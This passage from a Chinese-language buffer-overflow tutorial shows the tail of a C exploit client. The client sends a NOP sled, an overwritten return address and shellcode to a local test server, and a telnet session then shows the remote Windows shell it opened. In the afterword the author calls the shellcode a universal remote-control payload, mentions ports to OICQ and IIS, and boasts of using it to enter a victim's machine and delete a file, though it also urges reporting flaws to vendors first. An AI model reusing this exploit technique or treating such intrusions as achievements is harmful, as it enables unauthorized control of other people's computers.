sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=inet_addr("127.0.0.1");

connect(sockFD,(struct sockaddr *)&server,sizeof(server));
for(int i=0;i<56;Buff[i++]=0x90);
strcpy(Buff+56,(char *)eip);
strcpy(Buff+60,(char *)sploit);
sBO = Buff;
send(sockFD,sBO,56+4+560,0);

closesocket(sockFD);
WSACleanup();
return 1;

}
/****************************************************************************/
运行server,然后运行client.之后,telnet localhost 53764,看到了什么?

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.

D:\MyProjects\server>dir
dir
驱动器 D 中的卷没有标签。
卷的序列号是 3C2F-72BB

D:\MyProjects\server 的目录

2000-04-26 17:52 <DIR> .
2000-04-26 17:52 <DIR> ..
2000-04-25 11:17 <DIR> Debug
2000-04-23 20:23 3,288 server.001
2000-04-25 11:16 926 server.cpp
2000-04-25 10:33 3,325 server.dsp
2000-04-25 10:33 535 server.dsw
2000-04-26 17:52 41,984 server.ncb
2000-04-26 17:52 49,664 server.opt
2000-04-25 11:24 509 server.plg
7 个文件 100,231 字节
3 个目录 8,688,173,056 可用字节

D:\MyProjects\server&gt;

呵呵,大功告成。

----后记
大家通过钻研,可以知道,这是一个windows下通用的远程溢出shellcode。
使用这个shellcode,稍加改动,我们可以编写出其他的远程溢出程序。实现对任何已知存在缓冲区溢出问题的程序的远程控制。

事实上,为了发现溢出漏洞,你必须深入钻研敌人的程序代码,找到他的有问题代码。这本身就可以单开一讲来详细阐述。windows下的Cracker们,你们的破解跟踪技术将在这个领域得到最大的利用。我估计,在不久的将来,会有很多Cracker,公布一系列windows缓冲区溢出漏洞。

上面所示的,只不过是一个实验用的server程序,事实上,我们已经完成了Oicq远程溢出程序的实现和IisHack中文NT版的移植。

当我telnet victim 53764上敌人的机器,删除了他的autoexec.001时,真是一切尽在掌握。我心中想的,就是:windows Nt/2000的远程溢出时代,开始了!我们再也不需要木马了!

因为上述程序的攻击性太强,我就不公布原代码了,我希望如果有人基于我的shellcode写出了远程溢出程序,请先通知软件供应商,等待patch出来后,再公布你们的溢出程序。

因为,发现漏洞的目的,并不是为了破坏,而是为了消除漏洞,提高安全。

你可能感兴趣的:(windows,职场,系统,堆栈,休闲)